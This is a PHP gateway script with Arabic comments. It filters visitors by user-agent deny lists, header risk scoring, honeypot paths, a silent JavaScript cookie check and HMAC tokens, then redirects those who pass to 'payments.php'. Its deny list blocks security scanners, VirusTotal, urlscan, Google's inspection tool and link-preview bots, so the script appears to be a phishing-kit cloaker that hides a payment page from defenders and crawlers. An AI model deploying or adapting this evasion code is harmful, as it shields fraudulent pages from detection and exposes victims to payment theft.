<?php
/* =========================================================
| gate.php – Ultimate Silent Anti-Bot Gateway v2.0
| ▸ لا واجهة – لا CAPTCHA – لا إزعاج للمستخدم
| ▸ حماية متعددة الطبقات ضد البوتات والزواحف
| ▸ JavaScript fingerprint صامت
| ▸ تحليل سلوكي متقدم
| ▸ HMAC token مشفر + Cookie-bound + Replay-proof
===========================================================*/

$DEST           = 'payments.php';
$LOG_FILE       = __DIR__ . '/visitors.log';
$TOKEN_TTL      = 25;
$RISK_BLOCK     = 4;
$SESSION_COOKIE = 'hb';
$JS_COOKIE      = 'jv';
$SECRET_FILE    = __DIR__.'/.gate_secret';
$NONCE_DIR      = __DIR__.'/.gate_nonces';
$FINGERPRINT_DIR = __DIR__.'/.gate_fp';

$ip      = $_SERVER['REMOTE_ADDR']      ?? '0.0.0.0';
$ua      = $_SERVER['HTTP_USER_AGENT']  ?? '';
$uri     = $_SERVER['REQUEST_URI']      ?? '/';
$path    = parse_url($uri, PHP_URL_PATH) ?: '/';
$query   = $_SERVER['QUERY_STRING']     ?? '';
$method  = $_SERVER['REQUEST_METHOD']   ?? 'GET';

/* ====== وظيفة التسجيل ====== */
function logit($msg, $file) {
    $line = sprintf("[%s] %s | IP: %s | UA: %.80s | URI: %s\n",
        date('Y-m-d H:i:s'), $msg,
        $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0',
        $_SERVER['HTTP_USER_AGENT'] ?? '',
        $_SERVER['REQUEST_URI'] ?? '/'
    );
    @file_put_contents($file, $line, FILE_APPEND | LOCK_EX);
}

/* ====== إنشاء/قراءة السر ====== */
$SECRET = null;
if (is_readable($SECRET_FILE)) {
    $SECRET = trim((string)@file_get_contents($SECRET_FILE));
}
if (!$SECRET || strlen($SECRET) < 32) {
    try {
        $rand = bin2hex(random_bytes(32));
        if (@file_put_contents($SECRET_FILE, $rand, LOCK_EX) !== false) {
            @chmod($SECRET_FILE, 0600);
            $SECRET = $rand;
        }
    } catch (Throwable $e) {}
}
if (!$SECRET) {
    $SECRET = hash('sha256', __FILE__ . $_SERVER['SERVER_NAME'] . 'fallback_key_2024');
}

/* ====== قائمة User-Agents المحظورة (موسعة) ====== */
function isAutomationUA($ua): bool {
    $ua = strtolower(trim($ua));
    
    // فارغ أو غير معروف
    if ($ua === '' || $ua === 'unknown' || $ua === '-' || strlen($ua) < 10) return true;
    
    // قائمة الحظر الشاملة
    $denyList = [
        // HTTP Libraries & CLI Tools
        'curl', 'wget', 'fetch', 'httpie', 'aria2',
        
        // Python
        'python', 'python-requests', 'python-urllib', 'aiohttp', 'httpx',
        'scrapy', 'beautifulsoup', 'mechanize', 'urllib3',
        
        // Java
        'java', 'okhttp', 'httpclient', 'apache-httpclient', 'jersey',
        
        // Node.js
        'node-fetch', 'axios', 'got', 'superagent', 'request/',
        'undici', 'needle', 'node/', 'nodejs',
        
        // PHP
        'php', 'guzzle', 'symfony', 'laravel',
        
        // Ruby
        'ruby', 'faraday', 'httparty', 'typhoeus', 'rest-client',
        
        // Go
        'go-http-client', 'golang', 'fasthttp',
        
        // .NET
        'restsharp', 'httpclient', '.net clr', 'dotnet',
        
        // Perl
        'perl', 'libwww-perl', 'lwp::',
        
        // Rust
        'reqwest', 'hyper', 'ureq',
        
        // API Testing Tools
        'postman', 'insomnia', 'httpunit', 'rest-assured',
        'soapui', 'katalon', 'karate',
        
        // Terminal Browsers
        'w3m', 'lynx', 'links', 'elinks', 'browsh',
        
        // Headless & Automation
        'headlesschrome', 'headless', 'phantomjs', 'casperjs',
        'selenium', 'webdriver', 'puppeteer', 'playwright',
        'cypress', 'nightwatch', 'testcafe', 'protractor',
        'chromedriver', 'geckodriver', 'safaridriver',
        
        // Search Engine Crawlers
        'googlebot', 'bingbot', 'yandexbot', 'baiduspider',
        'duckduckbot', 'sogou', 'exabot', 'facebot',
        'ia_archiver', 'archive.org_bot', 'alexa', 'mj12bot',
        'ahrefsbot', 'semrushbot', 'dotbot', 'rogerbot',
        'screaming frog', 'seokicks', 'sistrix', 'blexbot',
        'petalbot', 'bytespider', 'applebot', 'seznambot',
        'yeti/', 'naverbot', 'twitterbot', 'linkedinbot',
        'pinterestbot', 'discordbot', 'whatsapp', 'telegrambot',
        
        // Generic Bot Patterns
        'bot', 'spider', 'crawl', 'slurp', 'fetch',
        'scraper', 'extractor', 'harvest', 'collector',
        
        // Security Scanners
        'nmap', 'nikto', 'sqlmap', 'acunetix', 'nessus',
        'burpsuite', 'zap', 'owasp', 'qualys', 'openvas',
        'w3af', 'skipfish', 'wpscan', 'dirbuster', 'gobuster',
        'nuclei', 'masscan', 'shodan', 'censys',
        
        // Cloud Services & Monitoring
        'appengine-google', 'google-inspectiontool', 'google-read-aloud',
        'virustotal', 'urlscan', 'pingdom', 'uptimerobot',
        'site24x7', 'statuscake', 'freshping', 'monitis',
        'newrelic', 'datadog', 'dynatrace',
        
        // AI & ML Crawlers
        'gptbot', 'chatgpt', 'anthropic', 'claude-web',
        'ccbot', 'common-crawl', 'diffbot', 'omgili',
        'bytedance', 'amazonbot',
        
        // Misc
        'httrack', 'offline', 'mirror', 'nutch', 'heritrix',
        'webcopier', 'teleport', 'webcapture', 'webzip',
    ];
    
    foreach ($denyList as $pattern) {
        if (strpos($ua, $pattern) !== false) return true;
    }
    
    // أنماط Regex للكشف المتقدم
    $regexPatterns = [
        '/^mozilla\/[0-9.]+$/',           // Mozilla بدون تفاصيل
        '/^opera\/[0-9.]+$/',              // Opera قديم بدون تفاصيل
        '/bot[^a-z]/i',                    // كلمة bot متبوعة بغير حرف
        '/[a-z]bot$/i',                    // ينتهي بـ bot
        '/crawler/i',
        '/spider/i',
        '/scraper/i',
        '/^java\/[0-9._]+$/',              // Java بدون تفاصيل
        '/compatible;\s*msie\s*[0-5]/i',   // IE قديم جداً (مشبوه)
    ];
    
    foreach ($regexPatterns as $regex) {
        if (preg_match($regex, $ua)) return true;
    }
    
    return false;
}

/* ====== تحليل المخاطر من الهيدرز (محسن) ====== */
function riskFromHeaders(string $ua): int {
    $uaL = strtolower($ua);
    $risk = 0;
    
    // جمع كل الهيدرز
    $headers = [
        'accept'           => $_SERVER['HTTP_ACCEPT'] ?? '',
        'accept_lang'      => $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '',
        'accept_enc'       => $_SERVER['HTTP_ACCEPT_ENCODING'] ?? '',
        'sec_fetch_dest'   => $_SERVER['HTTP_SEC_FETCH_DEST'] ?? '',
        'sec_fetch_mode'   => $_SERVER['HTTP_SEC_FETCH_MODE'] ?? '',
        'sec_fetch_site'   => $_SERVER['HTTP_SEC_FETCH_SITE'] ?? '',
        'sec_fetch_user'   => $_SERVER['HTTP_SEC_FETCH_USER'] ?? '',
        'sec_ch_ua'        => $_SERVER['HTTP_SEC_CH_UA'] ?? '',
        'sec_ch_platform'  => $_SERVER['HTTP_SEC_CH_UA_PLATFORM'] ?? '',
        'sec_ch_mobile'    => $_SERVER['HTTP_SEC_CH_UA_MOBILE'] ?? '',
        'dnt'              => $_SERVER['HTTP_DNT'] ?? '',
        'upgrade_insecure' => $_SERVER['HTTP_UPGRADE_INSECURE_REQUESTS'] ?? '',
        'cache_control'    => $_SERVER['HTTP_CACHE_CONTROL'] ?? '',
        'connection'       => $_SERVER['HTTP_CONNECTION'] ?? '',
        'purpose'          => $_SERVER['HTTP_PURPOSE'] ?? '',
        'sec_purpose'      => $_SERVER['HTTP_SEC_PURPOSE'] ?? '',
        'x_requested_with' => $_SERVER['HTTP_X_REQUESTED_WITH'] ?? '',
        'origin'           => $_SERVER['HTTP_ORIGIN'] ?? '',
        'referer'          => $_SERVER['HTTP_REFERER'] ?? '',
    ];
    
    $protocol = $_SERVER['SERVER_PROTOCOL'] ?? 'HTTP/1.1';
    $method   = $_SERVER['REQUEST_METHOD'] ?? 'GET';
    
    // هل يدعي أنه متصفح حديث؟
    $claimsChrome  = (strpos($uaL, 'chrome/') !== false && strpos($uaL, 'chromium') === false);
    $claimsFirefox = strpos($uaL, 'firefox/') !== false;
    $claimsEdge    = strpos($uaL, 'edg/') !== false;
    $claimsSafari  = (strpos($uaL, 'safari/') !== false && strpos($uaL, 'chrome') === false);
    $claimsModern  = $claimsChrome || $claimsFirefox || $claimsEdge || $claimsSafari;
    
    // ===== فحوصات Sec-Fetch (حاسمة للمتصفحات الحديثة) =====
    $missingSec = empty($headers['sec_fetch_dest']) || 
                  empty($headers['sec_fetch_mode']) || 
                  empty($headers['sec_fetch_site']);
    
    if ($claimsModern && $missingSec) {
        $risk += 3; // متصفح حديث يجب أن يرسل Sec-Fetch
    }
    
    // ===== فحوصات Client Hints (Chrome/Edge) =====
    if ($claimsChrome || $claimsEdge) {
        if (empty($headers['sec_ch_ua'])) $risk += 2;
        if (empty($headers['sec_ch_platform'])) $risk += 1;
        if (empty($headers['sec_ch_mobile'])) $risk += 1;
    }
    
    // ===== فحص Accept Header =====
    if (empty($headers['accept'])) {
        $risk += 2;
    } elseif (stripos($headers['accept'], 'text/html') === false) {
        $risk += 1; // طلب صفحة بدون قبول HTML
    }
    
    // ===== فحص Accept-Language =====
    if (empty($headers['accept_lang'])) {
        $risk += 2;
    } elseif (!preg_match('/^[a-z]{2}(-[a-z]{2})?(,|;|$)/i', $headers['accept_lang'])) {
        $risk += 1; // صيغة غير صحيحة
    }
    
    // ===== فحص Accept-Encoding =====
    if (!empty($headers['accept_enc'])) {
        $hasGzip = stripos($headers['accept_enc'], 'gzip') !== false;
        $hasBr   = stripos($headers['accept_enc'], 'br') !== false;
        if (!$hasGzip && !$hasBr) $risk += 1;
    }
    
    // ===== فحص نظام التشغيل في UA =====
    if ($claimsModern) {
        $hasOS = (
            stripos($uaL, 'windows') !== false ||
            stripos($uaL, 'mac os') !== false ||
            stripos($uaL, 'android') !== false ||
            stripos($uaL, 'iphone') !== false ||
            stripos($uaL, 'ipad') !== false ||
            stripos($uaL, 'linux') !== false ||
            stripos($uaL, 'cros') !== false
        );
        if (!$hasOS) $risk += 2;
    }
    
    // ===== فحوصات إضافية =====
    
    // Prefetch/Prerender (مشبوه للصفحة الرئيسية)
    if (!empty($headers['purpose']) || !empty($headers['sec_purpose'])) {
        $risk += 1;
    }
    
    // بروتوكول قديم
    if ($protocol === 'HTTP/1.0' || empty($protocol)) {
        $risk += 2;
    }
    
    // طريقة غير متوقعة
    if (!in_array($method, ['GET', 'HEAD'], true)) {
        $risk += 2;
    }
    
    // Upgrade-Insecure-Requests (المتصفحات الحديثة ترسله)
    if ($claimsModern && $headers['upgrade_insecure'] !== '1') {
        $risk += 1;
    }
    
    // فحص الكوكي في المحاولة الثانية
    if (!isset($_COOKIE['hb']) && isset($_GET['ck']) && $_GET['ck'] === '1') {
        $risk += 3; // فشل في حفظ الكوكي = مشبوه جداً
    }
    
    // فحص JS Cookie في المحاولة الثانية
    if (!isset($_COOKIE['jv']) && isset($_GET['jv']) && $_GET['jv'] === '1') {
        $risk += 3; // فشل JavaScript = بوت
    }
    
    // UA قصير جداً أو طويل جداً
    if (strlen($ua) < 30 || strlen($ua) > 500) {
        $risk += 1;
    }
    
    // تناقض في Platform
    if (!empty($headers['sec_ch_platform'])) {
        $platform = strtolower($headers['sec_ch_platform']);
        if (stripos($uaL, 'windows') !== false && strpos($platform, 'windows') === false) {
            $risk += 2;
        }
        if (stripos($uaL, 'mac') !== false && strpos($platform, 'macos') === false) {
            $risk += 2;
        }
    }
    
    return $risk;
}

/* ====== إنشاء/التحقق من Token ====== */
function makeToken(string $ua, string $path, string $secret): string {
    $ts   = time();
    $salt = bin2hex(random_bytes(4));
    $al   = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '';
    $ck   = $_COOKIE['hb'] ?? '';
    $data = implode('|', [$ua, $path, $al, $ck, $ts, $salt]);
    $sig  = hash_hmac('sha256', $data, $secret);
    return base64_encode($ts . '.' . $salt . '.' . substr($sig, 0, 24));
}

function checkToken(?string $t, string $ua, string $path, string $secret, int $ttl): array {
    if (!$t) return [false, null];
    
    $decoded = @base64_decode($t);
    if (!$decoded) return [false, null];
    
    $parts = explode('.', $decoded, 3);
    if (count($parts) !== 3) return [false, null];
    
    [$ts, $salt, $sigPart] = $parts;
    
    if (!ctype_digit($ts)) return [false, null];
    if ((time() - (int)$ts) > $ttl) return [false, null];
    
    $al   = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '';
    $ck   = $_COOKIE['hb'] ?? '';
    $data = implode('|', [$ua, $path, $al, $ck, $ts, $salt]);
    $calc = substr(hash_hmac('sha256', $data, $secret), 0, 24);
    
    if (!hash_equals($calc, $sigPart)) return [false, null];
    
    return [true, $sigPart];
}

/* ====== منع إعادة الاستخدام ====== */
if (!is_dir($NONCE_DIR)) @mkdir($NONCE_DIR, 0700, true);
if (!is_dir($FINGERPRINT_DIR)) @mkdir($FINGERPRINT_DIR, 0700, true);

function isReplayAndMark(string $sig, string $dir, int $ttl): bool {
    if (empty($sig)) return true;
    
    $safeSig = preg_replace('/[^a-f0-9]/i', '', $sig);
    $file = $dir . '/' . $safeSig;
    
    if (is_file($file) && (time() - @filemtime($file)) < $ttl) {
        return true; // إعادة استخدام
    }
    
    @touch($file);
    
    // تنظيف دوري
    if (mt_rand(1, 100) === 1) {
        cleanOldFiles($dir, $ttl * 3);
    }
    
    return false;
}

function cleanOldFiles(string $dir, int $maxAge): void {
    $files = @glob($dir . '/*');
    if (!$files) return;
    
    $now = time();
    foreach ($files as $f) {
        if (is_file($f) && ($now - @filemtime($f)) > $maxAge) {
            @unlink($f);
        }
    }
}

/* ====== Honeypots ====== */
if ($path === '/robots.txt') {
    header('Content-Type: text/plain; charset=UTF-8');
    echo "User-agent: *\nDisallow: /\n"; // منع كل الزواحف
    echo "User-agent: *\nDisallow: /__trap__\n";
    echo "User-agent: *\nDisallow: /admin\n";
    echo "User-agent: *\nDisallow: /api\n";
    exit;
}

// مصائد للبوتات
$honeypots = ['/__trap__', '/__probe__', '/admin', '/api', '/wp-admin', '/wp-login.php', '/.env', '/config.php'];
if (in_array($path, $honeypots, true)) {
    logit('HONEYPOT – ' . $path, $LOG_FILE);
    http_response_code(403);
    exit;
}

/* ====== UA Denylist ====== */
if (isAutomationUA($ua)) {
    logit('BOT – UA blocked: ' . substr($ua, 0, 60), $LOG_FILE);
    http_response_code(403);
    exit;
}

/* ====== معاينات الروابط (اختياري - حالياً محظورة) ====== */
$previewBots = [
    'facebookexternalhit', 'whatsapp', 'telegrambot', 
    'twitterbot', 'slackbot', 'linkedinbot', 'discordbot',
    'pinterest', 'skypeuripreview'
];
foreach ($previewBots as $pv) {
    if (stripos($ua, $pv) !== false) {
        logit('PREVIEW BOT – blocked: ' . $pv, $LOG_FILE);
        http_response_code(403);
        exit;
    }
}

/* ====== تثبيت Cookie الجلسة ====== */
if (empty($_COOKIE[$SESSION_COOKIE])) {
    $seed = bin2hex(random_bytes(16));
    setcookie($SESSION_COOKIE, $seed, [
        'expires'  => time() + 86400,
        'path'     => '/',
        'secure'   => !empty($_SERVER['HTTPS']),
        'httponly' => true,
        'samesite' => 'Lax'
    ]);
    
    parse_str($query, $q);
    if (!isset($q['ck'])) {
        $q['ck'] = '1';
        unset($q['t']); // إزالة token قديم
        $target = $path . '?' . http_build_query($q);
        logit('COOKIE – set & redirect', $LOG_FILE);
        header('Location: ' . $target, true, 302);
        exit;
    }
}

/* ====== فحص JavaScript (صامت - بدون واجهة) ====== */
if (empty($_COOKIE[$JS_COOKIE]) && !isset($_GET['jv'])) {
    // إرسال صفحة HTML صغيرة جداً للتحقق من JS
    $currentUrl = $path . '?' . http_build_query(array_merge($_GET, ['jv' => '1']));
    
    // صفحة شفافة للمستخدم - تظهر فارغة للحظة فقط
    header('Content-Type: text/html; charset=UTF-8');
    echo '<!DOCTYPE html><html><head><meta charset="UTF-8">';
    echo '<meta name="viewport" content="width=device-width,initial-scale=1">';
    echo '<style>body{margin:0;background:#fff}</style></head><body>';
    echo '<script>';
    echo 'document.cookie="' . $JS_COOKIE . '="+Date.now()+";path=/;max-age=86400;SameSite=Lax";';
    echo 'location.replace("' . htmlspecialchars($currentUrl, ENT_QUOTES) . '");';
    echo '</script>';
    echo '<noscript><meta http-equiv="refresh" content="0;url=' . htmlspecialchars($currentUrl, ENT_QUOTES) . '"></noscript>';
    echo '</body></html>';
    logit('JS – challenge sent', $LOG_FILE);
    exit;
}

/* ====== حساب المخاطر ====== */
$risk = riskFromHeaders($ua);

// فحص إضافي: هل نجح فحص JS؟
if (isset($_GET['jv']) && empty($_COOKIE[$JS_COOKIE])) {
    $risk += 4; // فشل JS = بوت مؤكد
}

if ($risk >= $RISK_BLOCK) {
    logit('BOT – risk=' . $risk . ' blocked', $LOG_FILE);
    http_response_code(403);
    exit;
}

/* ====== التحقق من Token ====== */
parse_str($query, $q);
$token = $q['t'] ?? null;

[$valid, $sigPart] = checkToken($token, $ua, $path, $SECRET, $TOKEN_TTL);

if (!$valid) {
    // إنشاء token جديد وإعادة التوجيه
    $q['t'] = makeToken($ua, $path, $SECRET);
    unset($q['ck'], $q['jv']); // تنظيف parameters المؤقتة
    $target = $path . '?' . http_build_query($q);
    logit('TOKEN – generated & redirect', $LOG_FILE);
    header('Location: ' . $target, true, 302);
    exit;
}

// منع إعادة استخدام Token
if (isReplayAndMark($sigPart, $NONCE_DIR, $TOKEN_TTL)) {
    logit('BOT – token replay detected', $LOG_FILE);
    http_response_code(403);
    exit;
}

/* ====== النجاح - التوجيه للوجهة ====== */
logit('OK – passed (risk=' . $risk . ')', $LOG_FILE);

// تنظيف URL النهائي
unset($q['ck'], $q['jv']);
$cleanToken = $q['t'];
unset($q['t']);

$destUrl = $DEST;
if (!empty($q)) {
    $destUrl .= (strpos($DEST, '?') === false ? '?' : '&') . http_build_query($q);
}
$destUrl .= (strpos($destUrl, '?') === false ? '?' : '&') . 'gt=' . urlencode($cleanToken);

header('Location: ' . $destUrl, true, 302);
exit;